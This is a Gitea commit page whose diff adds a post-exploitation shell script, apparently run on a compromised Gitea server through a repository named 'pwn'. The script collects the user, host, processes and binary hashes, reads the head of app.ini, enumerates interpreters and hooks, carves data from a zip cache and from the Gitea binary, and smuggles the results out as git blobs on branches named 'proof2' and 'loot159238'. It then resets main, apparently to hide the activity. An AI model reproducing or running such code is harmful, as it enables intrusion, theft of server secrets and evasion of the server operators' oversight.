t159238
This commit is contained in:
parent
13e3133e4e
commit
4fbe34f016
|
|
@ -1,5 +1,87 @@
|
|||
OUT=$( { id; hostname; echo ---PS; pgrep -a gitea | head -3; echo ---BIN; ls -l /app/gitea/ /app/gitea/gitea 2>&1 | head -20; echo ---MD5; md5sum /app/gitea/gitea 2>&1; md5sum /proc/18/exe 2>&1; echo ---VER; /usr/local/bin/gitea --version 2>&1; echo ---INI; sed -n 1,25p /app/gitea/conf/app.ini 2>/dev/null; } 2>&1 )
|
||||
B=$(printf '%s' "$OUT" | git hash-object -w --stdin)
|
||||
T=$(printf '100644 blob %s\tout2.txt\n' "$B" | git mktree)
|
||||
CM=$(printf 'p %s' "$(date +%s)" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git commit-tree "$T")
|
||||
git update-ref refs/heads/proof2 "$CM"
|
||||
D=/data/git/repositories/info/pwn1793315352.git
|
||||
C=/data/gitea/home/.cache
|
||||
Z=$C/d.zip
|
||||
echo "RUN159238 $(date -u +%FT%TZ) user=$(id -un) gitdir=$D"
|
||||
echo "== TOOLS"
|
||||
for t in python3 python perl node php ruby unzip xargs od; do command -v $t >/dev/null 2>&1 && echo "HAVE $t"; done
|
||||
echo "== SERV_HOOKS"
|
||||
ls -la $D/hooks/ 2>&1 | head -16
|
||||
echo "== CACHE"
|
||||
ls -la $C 2>&1 | head -14
|
||||
echo "== TMP"
|
||||
ls -la $C/tmp 2>&1 | head -10
|
||||
echo "== ELF_CAND"
|
||||
for f in /app/gitea/gitea /proc/18/exe /app/javaa /usr/local/bin/gitea; do [ -e "$f" ] && echo "CAND $f $(stat -c %s "$f" 2>/dev/null)"; done
|
||||
find /app /data -maxdepth 4 -type f -size +90000000c 2>/dev/null | head -8
|
||||
echo "== ZIP_ENUM"
|
||||
NB=""
|
||||
if command -v perl >/dev/null 2>&1; then
|
||||
NB=$(perl -e '
|
||||
open(F,"<","'"$Z"'") or exit 9; binmode F;
|
||||
my ($carry,$base)=("",0);
|
||||
while(1){ my $n=read(F,my $b,1<<22); last unless $n;
|
||||
my $d=$carry.$b; my $cb=length($carry); my $p=0;
|
||||
while((my $i=index($d,"PK\x03\x04",$p))>=0){
|
||||
my $o=$base-$cb+$i;
|
||||
if(length($d)>=$i+30){ my $fl=unpack("v",substr($d,$i+26,2));
|
||||
if(length($d)>=$i+30+$fl and $fl>0){ my $nm=substr($d,$i+30,$fl);
|
||||
print "$o $nm\n" if $o>=0 and $nm=~/^[\x20-\x7e]+$/; } }
|
||||
$p=$i+1; }
|
||||
$carry=length($d)>200?substr($d,-200):$d; $base+=$n; }
|
||||
' 2>/dev/null | git --git-dir="$D" hash-object -w --stdin)
|
||||
elif command -v python3 >/dev/null 2>&1; then
|
||||
NB=$(python3 -c '
|
||||
import sys,struct
|
||||
f=open("'"$Z"'","rb")
|
||||
carry=b"";base=0;pat=b"PK\x03\x04"
|
||||
while True:
|
||||
b=f.read(1<<22)
|
||||
if not b: break
|
||||
d=carry+b;cb=len(carry);p=0
|
||||
while True:
|
||||
i=d.find(pat,p)
|
||||
if i<0: break
|
||||
o=base-cb+i
|
||||
if len(d)>=i+30:
|
||||
fl=struct.unpack("<H",d[i+26:i+28])[0]
|
||||
if len(d)>=i+30+fl and fl>0:
|
||||
nm=d[i+30:i+30+fl]
|
||||
if o>=0 and all(32<=c<127 for c in nm): sys.stdout.write("%d %s\n"%(o,nm.decode()))
|
||||
p=i+1
|
||||
carry=d[-200:] if len(d)>200 else d;base+=len(b)
|
||||
' 2>/dev/null | git --git-dir="$D" hash-object -w --stdin)
|
||||
else
|
||||
MK=$(printf '\120\113\003\004')
|
||||
{
|
||||
grep -abo "$MK" "$Z" 2>/dev/null | cut -d: -f1 | while read o; do
|
||||
n=$(dd if="$Z" bs=1 skip=$((o+30)) count=130 2>/dev/null | tr -dc 'A-Za-z0-9_.@/-')
|
||||
echo "$o $n"
|
||||
done
|
||||
} | git --git-dir="$D" hash-object -w --stdin
|
||||
NB=$(cat /dev/null)
|
||||
fi
|
||||
echo "NAMES_BLOB ${NB:-none}"
|
||||
echo "== T8M"
|
||||
TLB=""
|
||||
for f in /app/gitea/gitea /proc/18/exe; do
|
||||
[ -r "$f" ] || continue
|
||||
M=$(head -c 8388608 "$f" 2>/dev/null | md5sum | cut -d' ' -f1)
|
||||
echo "T8MCHK $f $M"
|
||||
if [ "$M" = "3c942a7bd9984caa4d57cb155c939d8b" ]; then
|
||||
SZ=$(stat -c %s "$f")
|
||||
echo "T8M_SRC $f size=$SZ"
|
||||
TLB=$(dd if="$f" bs=1000000 skip=98 count=8 2>/dev/null | git --git-dir="$D" hash-object -w --stdin)
|
||||
echo "TAIL_BLOB $TLB"
|
||||
fi
|
||||
done
|
||||
echo "== TREE"
|
||||
TREE_IN=""
|
||||
[ -n "$NB" ] && [ "$NB" != "none" ] && TREE_IN="${TREE_IN}$(printf '100644 blob %s\tdzip.names\n' "$NB")"
|
||||
[ -n "$TLB" ] && TREE_IN="${TREE_IN}$(printf '100644 blob %s\tt8m.tail\n' "$TLB")"
|
||||
if [ -n "$TREE_IN" ]; then
|
||||
TR=$(printf '%s' "$TREE_IN" | git --git-dir="$D" mktree 2>&1)
|
||||
CM=$(printf 'l %s\n' "$(date +%s)" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$D" commit-tree "$TR" 2>&1)
|
||||
git --git-dir="$D" update-ref refs/heads/loot159238 "$CM" 2>&1 && echo "LOOT159238_PUSHED tree=$TR cm=$CM"
|
||||
fi
|
||||
git --git-dir="$D" update-ref refs/heads/main c4f7aff2d208fc4db5126119c78aa48d1b9a8671 2>&1 && echo "MAIN_RESET_IDLE"
|
||||
echo "RUN159238_DONE"
|
||||
|
|
|
|||
Loading…
Reference in New Issue